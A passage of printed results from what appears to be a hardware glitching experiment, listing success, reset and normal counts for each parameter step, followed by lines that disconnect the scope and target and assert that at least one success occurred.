14, 'reset_rate': 0.2978723404255319, 'normal': 33, 'normal_rate': 0.7021276595744681}), ((38,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((37,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((36,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((35,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((34,), {'total': 37, 'success': 0, 'success_rate': 0.0, 'reset': 1, 'reset_rate': 0.02702702702702703, 'normal': 36, 'normal_rate': 0.972972972972973}), ((33,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 1, 'reset_rate': 0.027777777777777776, 'normal': 35, 'normal_rate': 0.9722222222222222}), ((32,), {'total': 46, 'success': 0, 'success_rate': 0.0, 'reset': 10, 'reset_rate': 0.21739130434782608, 'normal': 36, 'normal_rate': 0.782608695652174}), ((31,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 10, 'reset_rate': 0.2777777777777778, 'normal': 26, 'normal_rate': 0.7222222222222222}), ((30,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((29,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((28,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((27,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((26,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((25,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((24,), {'total': 37, 'success': 0, 'success_rate': 0.0, 'reset': 1, 'reset_rate': 0.02702702702702703, 'normal': 36, 'normal_rate': 0.972972972972973}), ((23,), {'total': 39, 'success': 0, 'success_rate': 0.0, 'reset': 4, 'reset_rate': 0.10256410256410256, 'normal': 35, 'normal_rate': 0.8974358974358975}), ((22,), {'total': 44, 'success': 0, 'success_rate': 0.0, 'reset': 11, 'reset_rate': 0.25, 'normal': 33, 'normal_rate': 0.75}), ((21,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 8, 'reset_rate': 0.2222222222222222, 'normal': 28, 'normal_rate': 0.7777777777777778}), ((20,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((19,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((18,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((17,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((16,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((15,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((14,), {'total': 38, 'success': 0, 'success_rate': 0.0, 'reset': 2, 'reset_rate': 0.05263157894736842, 'normal': 36, 'normal_rate': 0.9473684210526315}), ((13,), {'total': 37, 'success': 0, 'success_rate': 0.0, 'reset': 3, 'reset_rate': 0.08108108108108109, 'normal': 34, 'normal_rate': 0.918918918918919}), ((12,), {'total': 44, 'success': 0, 'success_rate': 0.0, 'reset': 9, 'reset_rate': 0.20454545454545456, 'normal': 35, 'normal_rate': 0.7954545454545454}), ((11,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 8, 'reset_rate': 0.2222222222222222, 'normal': 28, 'normal_rate': 0.7777777777777778}), ((10,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((9,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((8,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((7,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((6,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((5,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((4,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 1, 'reset_rate': 0.027777777777777776, 'normal': 35, 'normal_rate': 0.9722222222222222}), ((3,), {'total': 37, 'success': 0, 'success_rate': 0.0, 'reset': 2, 'reset_rate': 0.05405405405405406, 'normal': 35, 'normal_rate': 0.9459459459459459}), ((2,), {'total': 44, 'success': 0, 'success_rate': 0.0, 'reset': 9, 'reset_rate': 0.20454545454545456, 'normal': 35, 'normal_rate': 0.7954545454545454}), ((1,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 8, 'reset_rate': 0.2222222222222222, 'normal': 28, 'normal_rate': 0.7777777777777778}), ((0,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0})]
scope.dis()
target.dis()
assert successes >= 1